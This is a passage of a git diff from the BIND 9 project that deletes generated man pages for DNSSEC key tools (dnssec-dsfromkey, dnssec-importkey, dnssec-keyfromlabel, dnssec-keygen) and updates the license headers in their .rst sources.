-This option indicates that ZSKs are to be included when generating DS records. Without this option, only
-keys which have the KSK flag set are converted to DS records and
-printed. This option is only useful in \fB\-f\fP zone file mode.
-.TP
-.B \fB\-c class\fP
-This option specifies the DNS class; the default is IN. This option is only useful in \fB\-s\fP keyset
-or \fB\-f\fP zone file mode.
-.TP
-.B \fB\-C\fP
-This option generates CDS records rather than DS records.
-.TP
-.B \fB\-f file\fP
-This option sets zone file mode, in which the final dnsname argument of \fBdnssec\-dsfromkey\fP is the
-DNS domain name of a zone whose master file can be read from
-\fBfile\fP\&. If the zone name is the same as \fBfile\fP, then it may be
-omitted.
-.sp
-If \fBfile\fP is \fB\-\fP, then the zone data is read from the standard
-input. This makes it possible to use the output of the \fBdig\fP
-command as input, as in:
-.sp
-\fBdig dnskey example.com | dnssec\-dsfromkey \-f \- example.com\fP
-.TP
-.B \fB\-h\fP
-This option prints usage information.
-.TP
-.B \fB\-K directory\fP
-This option tells BIND 9 to look for key files or \fBkeyset\-\fP files in \fBdirectory\fP\&.
-.TP
-.B \fB\-s\fP
-This option enables keyset mode, in which the final dnsname argument from \fBdnssec\-dsfromkey\fP is the DNS
-domain name used to locate a \fBkeyset\-\fP file.
-.TP
-.B \fB\-T TTL\fP
-This option specifies the TTL of the DS records. By default the TTL is omitted.
-.TP
-.B \fB\-v level\fP
-This option sets the debugging level.
-.TP
-.B \fB\-V\fP
-This option prints version information.
-.UNINDENT
-.SH EXAMPLE
-.sp
-To build the SHA\-256 DS RR from the \fBKexample.com.+003+26160\fP keyfile,
-issue the following command:
-.sp
-\fBdnssec\-dsfromkey \-2 Kexample.com.+003+26160\fP
-.sp
-The command returns something similar to:
-.sp
-\fBexample.com. IN DS 26160 5 2 3A1EADA7A74B8D0BA86726B0C227AA85AB8BBD2B2004F41A868A54F0C5EA0B94\fP
-.SH FILES
-.sp
-The keyfile can be designated by the key identification
-\fBKnnnn.+aaa+iiiii\fP or the full file name \fBKnnnn.+aaa+iiiii.key\fP, as
-generated by \fBdnssec\-keygen\fP\&.
-.sp
-The keyset file name is built from the \fBdirectory\fP, the string
-\fBkeyset\-\fP, and the \fBdnsname\fP\&.
-.SH CAVEAT
-.sp
-A keyfile error may return "file not found," even if the file exists.
-.SH SEE ALSO
-.sp
-\fBdnssec\-keygen(8)\fP, \fBdnssec\-signzone(8)\fP, BIND 9 Administrator Reference Manual,
-\fI\%RFC 3658\fP (DS RRs), \fI\%RFC 4509\fP (SHA\-256 for DS RRs),
-\fI\%RFC 6605\fP (SHA\-384 for DS RRs), \fI\%RFC 7344\fP (CDS and CDNSKEY RRs).
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/dnssec-dsfromkey.rst b/doc/man/dnssec-dsfromkey.rst
index 0c3d53cdbf..9a016b17b5 100644
--- a/doc/man/dnssec-dsfromkey.rst
+++ b/doc/man/dnssec-dsfromkey.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/dnssec/dnssec-dsfromkey.rst
\ No newline at end of file
+.. include:: ../../bin/dnssec/dnssec-dsfromkey.rst
diff --git a/doc/man/dnssec-importkey.1in b/doc/man/dnssec-importkey.1in
deleted file mode 100644
index 291d07be64..0000000000
--- a/doc/man/dnssec-importkey.1in
+++ /dev/null
@@ -1,126 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "DNSSEC-IMPORTKEY" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-dnssec-importkey \- import DNSKEY records from external systems so they can be managed
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBdnssec\-importkey\fP [\fB\-K\fP directory] [\fB\-L\fP ttl] [\fB\-P\fP date/offset] [\fB\-P\fP sync date/offset] [\fB\-D\fP date/offset] [\fB\-D\fP sync date/offset] [\fB\-h\fP] [\fB\-v\fP level] [\fB\-V\fP] {keyfile}
-.sp
-\fBdnssec\-importkey\fP {\fB\-f\fP filename} [\fB\-K\fP directory] [\fB\-L\fP ttl] [\fB\-P\fP date/offset] [\fB\-P\fP sync date/offset] [\fB\-D\fP date/offset] [\fB\-D\fP sync date/offset] [\fB\-h\fP] [\fB\-v\fP level] [\fB\-V\fP] [dnsname]
-.SH DESCRIPTION
-.sp
-\fBdnssec\-importkey\fP reads a public DNSKEY record and generates a pair
-of .key/.private files. The DNSKEY record may be read from an
-existing .key file, in which case a corresponding .private file is
-generated, or it may be read from any other file or from the standard
-input, in which case both .key and .private files are generated.
-.sp
-The newly created .private file does \fInot\fP contain private key data, and
-cannot be used for signing. However, having a .private file makes it
-possible to set publication (\fB\-P\fP) and deletion (\fB\-D\fP) times for the
-key, which means the public key can be added to and removed from the
-DNSKEY RRset on schedule even if the true private key is stored offline.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-f filename\fP
-This option indicates the zone file mode. Instead of a public keyfile name, the argument is the
-DNS domain name of a zone master file, which can be read from
-\fBfilename\fP\&. If the domain name is the same as \fBfilename\fP, then it may be
-omitted.
-.sp
-If \fBfilename\fP is set to \fB"\-"\fP, then the zone data is read from the
-standard input.
-.TP
-.B \fB\-K directory\fP
-This option sets the directory in which the key files are to reside.
-.TP
-.B \fB\-L ttl\fP
-This option sets the default TTL to use for this key when it is converted into a
-DNSKEY RR. This is the TTL used when the key is imported into a zone,
-unless there was already a DNSKEY RRset in
-place, in which case the existing TTL takes precedence. Setting the default TTL to \fB0\fP or \fBnone\fP
-removes it from the key.
-.TP
-.B \fB\-h\fP
-This option emits a usage message and exits.
-.TP
-.B \fB\-v level\fP
-This option sets the debugging level.
-.TP
-.B \fB\-V\fP
-This option prints version information.
-.UNINDENT
-.SH TIMING OPTIONS
-.sp
-Dates can be expressed in the format YYYYMMDD or YYYYMMDDHHMMSS. If the
-argument begins with a \fB+\fP or \fB\-\fP, it is interpreted as an offset from
-the present time. For convenience, if such an offset is followed by one
-of the suffixes \fBy\fP, \fBmo\fP, \fBw\fP, \fBd\fP, \fBh\fP, or \fBmi\fP, then the offset is
-computed in years (defined as 365 24\-hour days, ignoring leap years),
-months (defined as 30 24\-hour days), weeks, days, hours, or minutes,
-respectively. Without a suffix, the offset is computed in seconds. To
-explicitly prevent a date from being set, use \fBnone\fP or \fBnever\fP\&.
-.INDENT 0.0
-.TP
-.B \fB\-P date/offset\fP
-This option sets the date on which a key is to be published to the zone. After
-that date, the key is included in the zone but is not used
-to sign it.
-.TP
-.B \fB\-P sync date/offset\fP
-This option sets the date on which CDS and CDNSKEY records that match this key
-are to be published to the zone.
-.TP
-.B \fB\-D date/offset\fP
-This option sets the date on which the key is to be deleted. After that date, the
-key is no longer included in the zone. (However, it may remain in the key
-repository.)
-.TP
-.B \fB\-D sync date/offset\fP
-This option sets the date on which the CDS and CDNSKEY records that match this
-key are to be deleted.
-.UNINDENT
-.SH FILES
-.sp
-A keyfile can be designed by the key identification \fBKnnnn.+aaa+iiiii\fP
-or the full file name \fBKnnnn.+aaa+iiiii.key\fP, as generated by
-\fBdnssec\-keygen\fP\&.
-.SH SEE ALSO
-.sp
-\fBdnssec\-keygen(8)\fP, \fBdnssec\-signzone(8)\fP, BIND 9 Administrator Reference Manual,
-\fI\%RFC 5011\fP\&.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/dnssec-importkey.rst b/doc/man/dnssec-importkey.rst
index 1b9deff054..a9df5082ee 100644
--- a/doc/man/dnssec-importkey.rst
+++ b/doc/man/dnssec-importkey.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/dnssec/dnssec-importkey.rst
\ No newline at end of file
+.. include:: ../../bin/dnssec/dnssec-importkey.rst
diff --git a/doc/man/dnssec-keyfromlabel.1in b/doc/man/dnssec-keyfromlabel.1in
deleted file mode 100644
index 56d5dc19ef..0000000000
--- a/doc/man/dnssec-keyfromlabel.1in
+++ /dev/null
@@ -1,281 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "DNSSEC-KEYFROMLABEL" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-dnssec-keyfromlabel \- DNSSEC key generation tool
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBdnssec\-keyfromlabel\fP {\fB\-l\fP label} [\fB\-3\fP] [\fB\-a\fP algorithm] [\fB\-A\fP date/offset] [\fB\-c\fP class] [\fB\-D\fP date/offset] [\fB\-D\fP sync date/offset] [\fB\-E\fP engine] [\fB\-f\fP flag] [\fB\-G\fP] [\fB\-I\fP date/offset] [\fB\-i\fP interval] [\fB\-k\fP] [\fB\-K\fP directory] [\fB\-L\fP ttl] [\fB\-n\fP nametype] [\fB\-P\fP date/offset] [\fB\-P\fP sync date/offset] [\fB\-p\fP protocol] [\fB\-R\fP date/offset] [\fB\-S\fP key] [\fB\-t\fP type] [\fB\-v\fP level] [\fB\-V\fP] [\fB\-y\fP] {name}
-.SH DESCRIPTION
-.sp
-\fBdnssec\-keyfromlabel\fP generates a pair of key files that reference a
-key object stored in a cryptographic hardware service module (HSM). The
-private key file can be used for DNSSEC signing of zone data as if it
-were a conventional signing key created by \fBdnssec\-keygen\fP, but the
-key material is stored within the HSM and the actual signing takes
-place there.
-.sp
-The \fBname\fP of the key is specified on the command line. This must
-match the name of the zone for which the key is being generated.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-a algorithm\fP
-This option selects the cryptographic algorithm. The value of \fBalgorithm\fP must
-be one of RSASHA1, NSEC3RSASHA1, RSASHA256, RSASHA512,
-ECDSAP256SHA256, ECDSAP384SHA384, ED25519, or ED448.
-.sp
-If no algorithm is specified, RSASHA1 is used by default
-unless the \fB\-3\fP option is specified, in which case NSEC3RSASHA1
-is used instead. (If \fB\-3\fP is used and an algorithm is
-specified, that algorithm is checked for compatibility with
-NSEC3.)
-.sp
-These values are case\-insensitive. In some cases, abbreviations are
-supported, such as ECDSA256 for ECDSAP256SHA256 and ECDSA384 for
-ECDSAP384SHA384. If RSASHA1 is specified along with the \fB\-3\fP
-option, then NSEC3RSASHA1 is used instead.
-.sp
-Since BIND 9.12.0, this option is mandatory except when using the
-\fB\-S\fP option, which copies the algorithm from the predecessory key.
-Previously, the default for newly generated keys was RSASHA1.
-.TP
-.B \fB\-3\fP
-This option uses an NSEC3\-capable algorithm to generate a DNSSEC key. If this
-option is used with an algorithm that has both NSEC and NSEC3
-versions, then the NSEC3 version is used; for example,
-\fBdnssec\-keygen \-3a RSASHA1\fP specifies the NSEC3RSASHA1 algorithm.
-.TP
-.B \fB\-E engine\fP
-This option specifies the cryptographic hardware to use.
-.sp
-When BIND 9 is built with OpenSSL, this needs to be set to the OpenSSL
-engine identifier that drives the cryptographic accelerator or
-hardware service module (usually \fBpkcs11\fP). When BIND is
-built with native PKCS#11 cryptography (\fB\-\-enable\-native\-pkcs11\fP), it
-defaults to the path of the PKCS#11 provider library specified via
-\fB\-\-with\-pkcs11\fP\&.
-.TP
-.B \fB\-l label\fP
-This option specifies the label for a key pair in the crypto hardware.
-.sp
-When BIND 9 is built with OpenSSL\-based PKCS#11 support, the label is
-an arbitrary string that identifies a particular key. It may be
-preceded by an optional OpenSSL engine name, followed by a colon, as
-in \fBpkcs11:keylabel\fP\&.
-.sp
-When BIND 9 is built with native PKCS#11 support, the label is a
-PKCS#11 URI string in the format
-\fBpkcs11:keyword\e =value[;\e keyword\e =value;...]\fP\&. Keywords
-include \fBtoken\fP, which identifies the HSM; \fBobject\fP, which identifies
-the key; and \fBpin\-source\fP, which identifies a file from which the
-HSM\(aqs PIN code can be obtained. The label is stored in the
-on\-disk \fBprivate\fP file.
-.sp
-If the label contains a \fBpin\-source\fP field, tools using the
-generated key files are able to use the HSM for signing and other
-operations without any need for an operator to manually enter a PIN.
-Note: Making the HSM\(aqs PIN accessible in this manner may reduce the
-security advantage of using an HSM; use caution
-with this feature.
-.TP
-.B \fB\-n nametype\fP
-This option specifies the owner type of the key. The value of \fBnametype\fP must
-either be ZONE (for a DNSSEC zone key (KEY/DNSKEY)), HOST or ENTITY
-(for a key associated with a host (KEY)), USER (for a key associated
-with a user (KEY)), or OTHER (DNSKEY). These values are
-case\-insensitive.
-.TP
-.B \fB\-C\fP
-This option enables compatibility mode, which generates an old\-style key, without any metadata.
-By default, \fBdnssec\-keyfromlabel\fP includes the key\(aqs creation
-date in the metadata stored with the private key; other dates may
-be set there as well, including publication date, activation date, etc. Keys
-that include this data may be incompatible with older versions of
-BIND; the \fB\-C\fP option suppresses them.
-.TP
-.B \fB\-c class\fP
-This option indicates that the DNS record containing the key should have the
-specified class. If not specified, class IN is used.
-.TP
-.B \fB\-f flag\fP
-This option sets the specified flag in the \fBflag\fP field of the KEY/DNSKEY record.
-The only recognized flags are KSK (Key\-Signing Key) and REVOKE.
-.TP
-.B \fB\-G\fP
-This option generates a key, but does not publish it or sign with it. This option is
-incompatible with \fB\-P\fP and \fB\-A\fP\&.
-.TP
-.B \fB\-h\fP
-This option prints a short summary of the options and arguments to
-\fBdnssec\-keyfromlabel\fP\&.
-.TP
-.B \fB\-K directory\fP
-This option sets the directory in which the key files are to be written.
-.TP
-.B \fB\-k\fP
-This option generates KEY records rather than DNSKEY records.
-.TP
-.B \fB\-L\fP ttl
-This option sets the default TTL to use for this key when it is converted into a
-DNSKEY RR. This is the TTL used when the key is imported into a zone,
-unless there was already a DNSKEY RRset in
-place, in which case the existing TTL would take precedence. Setting
-the default TTL to \fB0\fP or \fBnone\fP removes it.
-.TP
-.B \fB\-p protocol\fP
-This option sets the protocol value for the key. The protocol is a number between
-0 and 255. The default is 3 (DNSSEC). Other possible values for this
-argument are listed in \fI\%RFC 2535\fP and its successors.
-.TP
-.B \fB\-S key\fP
-This option generates a key as an explicit successor to an existing key. The name,
-algorithm, size, and type of the key are set to match the
-predecessor. The activation date of the new key is set to the
-inactivation date of the existing one. The publication date is
-set to the activation date minus the prepublication interval, which
-defaults to 30 days.
-.TP
-.B \fB\-t type\fP
-This option indicates the type of the key. \fBtype\fP must be one of AUTHCONF,
-NOAUTHCONF, NOAUTH, or NOCONF. The default is AUTHCONF. AUTH refers
-to the ability to authenticate data, and CONF to the ability to encrypt
-data.
-.TP
-.B \fB\-v level\fP
-This option sets the debugging level.
-.TP
-.B \fB\-V\fP
-This option prints version information.
-.TP
-.B \fB\-y\fP
-This option allows DNSSEC key files to be generated even if the key ID would
-collide with that of an existing key, in the event of either key
-being revoked. (This is only safe to enable if
-\fI\%RFC 5011\fP trust anchor maintenance is not used with either of the keys
-involved.)
-.UNINDENT
-.SH TIMING OPTIONS
-.sp
-Dates can be expressed in the format YYYYMMDD or YYYYMMDDHHMMSS. If the
-argument begins with a \fB+\fP or \fB\-\fP, it is interpreted as an offset from
-the present time. For convenience, if such an offset is followed by one
-of the suffixes \fBy\fP, \fBmo\fP, \fBw\fP, \fBd\fP, \fBh\fP, or \fBmi\fP, then the offset is
-computed in years (defined as 365 24\-hour days, ignoring leap years),
-months (defined as 30 24\-hour days), weeks, days, hours, or minutes,
-respectively. Without a suffix, the offset is computed in seconds. To
-explicitly prevent a date from being set, use \fBnone\fP or \fBnever\fP\&.
-.INDENT 0.0
-.TP
-.B \fB\-P date/offset\fP
-This option sets the date on which a key is to be published to the zone. After
-that date, the key is included in the zone but is not used
-to sign it. If not set, and if the \fB\-G\fP option has not been used, the
-default is the current date.
-.TP
-.B \fB\-P sync date/offset\fP
-This option sets the date on which CDS and CDNSKEY records that match this key
-are to be published to the zone.
-.TP
-.B \fB\-A date/offset\fP
-This option sets the date on which the key is to be activated. After that date,
-the key is included in the zone and used to sign it. If not set,
-and if the \fB\-G\fP option has not been used, the default is the current date.
-.TP
-.B \fB\-R date/offset\fP
-This option sets the date on which the key is to be revoked. After that date, the
-key is flagged as revoked. It is included in the zone and
-is used to sign it.
-.TP
-.B \fB\-I date/offset\fP
-This option sets the date on which the key is to be retired. After that date, the
-key is still included in the zone, but it is not used to
-sign it.
-.TP
-.B \fB\-D date/offset\fP
-This option sets the date on which the key is to be deleted. After that date, the
-key is no longer included in the zone. (However, it may remain in the key
-repository.)
-.TP
-.B \fB\-D sync date/offset\fP
-This option sets the date on which the CDS and CDNSKEY records that match this
-key are to be deleted.
-.TP
-.B \fB\-i interval\fP
-This option sets the prepublication interval for a key. If set, then the
-publication and activation dates must be separated by at least this
-much time. If the activation date is specified but the publication
-date is not, the publication date defaults to this much time
-before the activation date; conversely, if the publication date is
-specified but not the activation date, activation is set to
-this much time after publication.
-.sp
-If the key is being created as an explicit successor to another key,
-then the default prepublication interval is 30 days; otherwise it is
-zero.
-.sp
-As with date offsets, if the argument is followed by one of the
-suffixes \fBy\fP, \fBmo\fP, \fBw\fP, \fBd\fP, \fBh\fP, or \fBmi\fP, the interval is
-measured in years, months, weeks, days, hours, or minutes,
-respectively. Without a suffix, the interval is measured in seconds.
-.UNINDENT
-.SH GENERATED KEY FILES
-.sp
-When \fBdnssec\-keyfromlabel\fP completes successfully, it prints a string
-of the form \fBKnnnn.+aaa+iiiii\fP to the standard output. This is an
-identification string for the key files it has generated.
-.INDENT 0.0
-.IP \(bu 2
-\fBnnnn\fP is the key name.
-.IP \(bu 2
-\fBaaa\fP is the numeric representation of the algorithm.
-.IP \(bu 2
-\fBiiiii\fP is the key identifier (or footprint).
-.UNINDENT
-.sp
-\fBdnssec\-keyfromlabel\fP creates two files, with names based on the
-printed string. \fBKnnnn.+aaa+iiiii.key\fP contains the public key, and
-\fBKnnnn.+aaa+iiiii.private\fP contains the private key.
-.sp
-The \fB\&.key\fP file contains a DNS KEY record that can be inserted into a
-zone file (directly or with an $INCLUDE statement).
-.sp
-The \fB\&.private\fP file contains algorithm\-specific fields. For obvious
-security reasons, this file does not have general read permission.
-.SH SEE ALSO
-.sp
-\fBdnssec\-keygen(8)\fP, \fBdnssec\-signzone(8)\fP, BIND 9 Administrator Reference Manual,
-\fI\%RFC 4034\fP, \fI\%RFC 7512\fP\&.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/dnssec-keyfromlabel.rst b/doc/man/dnssec-keyfromlabel.rst
index 060845670d..ae00dc067b 100644
--- a/doc/man/dnssec-keyfromlabel.rst
+++ b/doc/man/dnssec-keyfromlabel.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/dnssec/dnssec-keyfromlabel.rst
\ No newline at end of file
+.. include:: ../../bin/dnssec/dnssec-keyfromlabel.rst
diff --git a/doc/man/dnssec-keygen.1in b/doc/man/dnssec-keygen.1in
deleted file mode 100644
index 057ff3d37f..0000000000
--- a/doc/man/dnssec-keygen.1in
+++ /dev/null
@@ -1,325 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "DNSSEC-KEYGEN" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-dnssec-keygen \- DNSSEC key generation tool
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBdnssec\-keygen\fP [\fB\-3\fP] [\fB\-A\fP date/offset] [\fB\-a\fP algorithm] [\fB\-b\fP keysize] [\fB\-C\fP] [\fB\-c\fP class] [\fB\-D\fP date/offset] [\fB\-d\fP bits] [\fB\-D\fP sync date/offset] [\fB\-E\fP engine] [\fB\-f\fP flag] [\fB\-G\fP] [\fB\-g\fP generator] [\fB\-h\fP] [\fB\-I\fP date/offset] [\fB\-i\fP interval] [\fB\-K\fP directory] [\fB\-k\fP policy] [\fB\-L\fP ttl] [\fB\-l\fP file] [\fB\-n\fP nametype] [\fB\-P\fP date/offset] [\fB\-P\fP sync date/offset] [\fB\-p\fP protocol] [\fB\-q\fP] [\fB\-R\fP date/offset] [\fB\-S\fP key] [\fB\-s\fP strength] [\fB\-T\fP rrtype] [\fB\-t\fP type] [\fB\-V\fP] [\fB\-v\fP level] {name}
-.SH DESCRIPTION
-.sp
-\fBdnssec\-keygen\fP generates keys for DNSSEC (Secure DNS), as defined in
-\fI\%RFC 2535\fP and \fI\%RFC 4034\fP\&. It can also generate keys for use with TSIG
-(Transaction Signatures) as defined in \fI\%RFC 2845\fP, or TKEY (Transaction
-Key) as defined in \fI\%RFC 2930\fP\&.
-.sp
-The \fBname\fP of the key is specified on the command line. For DNSSEC
-keys, this must match the name of the zone for which the key is being
-generated.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-3\fP
-This option uses an NSEC3\-capable algorithm to generate a DNSSEC key. If this
-option is used with an algorithm that has both NSEC and NSEC3
-versions, then the NSEC3 version is selected; for example,
-\fBdnssec\-keygen \-3a RSASHA1\fP specifies the NSEC3RSASHA1 algorithm.
-.TP
-.B \fB\-a algorithm\fP
-This option selects the cryptographic algorithm. For DNSSEC keys, the value of
-\fBalgorithm\fP must be one of RSASHA1, NSEC3RSASHA1, RSASHA256,
-RSASHA512, ECDSAP256SHA256, ECDSAP384SHA384, ED25519, or ED448. For
-TKEY, the value must be DH (Diffie\-Hellman); specifying this value
-automatically sets the \fB\-T KEY\fP option as well.
-.sp
-These values are case\-insensitive. In some cases, abbreviations are
-supported, such as ECDSA256 for ECDSAP256SHA256 and ECDSA384 for
-ECDSAP384SHA384. If RSASHA1 is specified along with the \fB\-3\fP
-option, NSEC3RSASHA1 is used instead.
-.sp
-This parameter \fImust\fP be specified except when using the \fB\-S\fP
-option, which copies the algorithm from the predecessor key.
-.sp
-In prior releases, HMAC algorithms could be generated for use as TSIG
-keys, but that feature was removed in BIND 9.13.0. Use
-\fBtsig\-keygen\fP to generate TSIG keys.
-.TP
-.B \fB\-b keysize\fP
-This option specifies the number of bits in the key. The choice of key size
-depends on the algorithm used: RSA keys must be between 1024 and 4096
-bits; Diffie\-Hellman keys must be between 128 and 4096 bits. Elliptic
-curve algorithms do not need this parameter.
-.sp
-If the key size is not specified, some algorithms have pre\-defined
-defaults. For example, RSA keys for use as DNSSEC zone\-signing keys
-have a default size of 1024 bits; RSA keys for use as key\-signing
-keys (KSKs, generated with \fB\-f KSK\fP) default to 2048 bits.
-.TP
-.B \fB\-C\fP
-This option enables compatibility mode, which generates an old\-style key, without any timing
-metadata. By default, \fBdnssec\-keygen\fP includes the key\(aqs
-creation date in the metadata stored with the private key; other
-dates may be set there as well, including publication date, activation date,
-etc. Keys that include this data may be incompatible with older
-versions of BIND; the \fB\-C\fP option suppresses them.
-.TP
-.B \fB\-c class\fP
-This option indicates that the DNS record containing the key should have the
-specified class. If not specified, class IN is used.
-.TP
-.B \fB\-d bits\fP
-This option specifies the key size in bits. For the algorithms RSASHA1, NSEC3RSASA1, RSASHA256, and
-RSASHA512 the key size must be between 1024 and 4096 bits; DH size is between 128
-and 4096 bits. This option is ignored for algorithms ECDSAP256SHA256,
-ECDSAP384SHA384, ED25519, and ED448.
-.TP
-.B \fB\-E engine\fP
-This option specifies the cryptographic hardware to use, when applicable.
-.sp
-When BIND 9 is built with OpenSSL, this needs to be set to the OpenSSL
-engine identifier that drives the cryptographic accelerator or
-hardware service module (usually \fBpkcs11\fP). When BIND is
-built with native PKCS#11 cryptography (\fB\-\-enable\-native\-pkcs11\fP), it
-defaults to the path of the PKCS#11 provider library specified via
-\fB\-\-with\-pkcs11\fP\&.
-.TP
-.B \fB\-f flag\fP
-This option sets the specified flag in the flag field of the KEY/DNSKEY record.
-The only recognized flags are KSK (Key\-Signing Key) and REVOKE.
-.TP
-.B \fB\-G\fP
-This option generates a key, but does not publish it or sign with it. This option is
-incompatible with \fB\-P\fP and \fB\-A\fP\&.
-.TP
-.B \fB\-g generator\fP
-This option indicates the generator to use if generating a Diffie\-Hellman key. Allowed
-values are 2 and 5. If no generator is specified, a known prime from
-\fI\%RFC 2539\fP is used if possible; otherwise the default is 2.
-.TP
-.B \fB\-h\fP
-This option prints a short summary of the options and arguments to
-\fBdnssec\-keygen\fP\&.
-.TP
-.B \fB\-K directory\fP
-This option sets the directory in which the key files are to be written.
-.TP
-.B \fB\-k policy\fP
-This option creates keys for a specific \fBdnssec\-policy\fP\&. If a policy uses multiple keys,
-\fBdnssec\-keygen\fP generates multiple keys. This also
-creates a ".state" file to keep track of the key state.
-.sp
-This option creates keys according to the \fBdnssec\-policy\fP configuration, hence
-it cannot be used at the same time as many of the other options that
-\fBdnssec\-keygen\fP provides.
-.TP
-.B \fB\-L ttl\fP
-This option sets the default TTL to use for this key when it is converted into a
-DNSKEY RR. This is the TTL used when the key is imported into a zone,
-unless there was already a DNSKEY RRset in
-place, in which case the existing TTL takes precedence. If this
-value is not set and there is no existing DNSKEY RRset, the TTL
-defaults to the SOA TTL. Setting the default TTL to \fB0\fP or \fBnone\fP
-is the same as leaving it unset.
-.TP
-.B \fB\-l file\fP
-This option provides a configuration file that contains a \fBdnssec\-policy\fP statement
-(matching the policy set with \fB\-k\fP).
-.TP
-.B \fB\-n nametype\fP
-This option specifies the owner type of the key. The value of \fBnametype\fP must
-either be ZONE (for a DNSSEC zone key (KEY/DNSKEY)), HOST or ENTITY
-(for a key associated with a host (KEY)), USER (for a key associated
-with a user (KEY)), or OTHER (DNSKEY). These values are
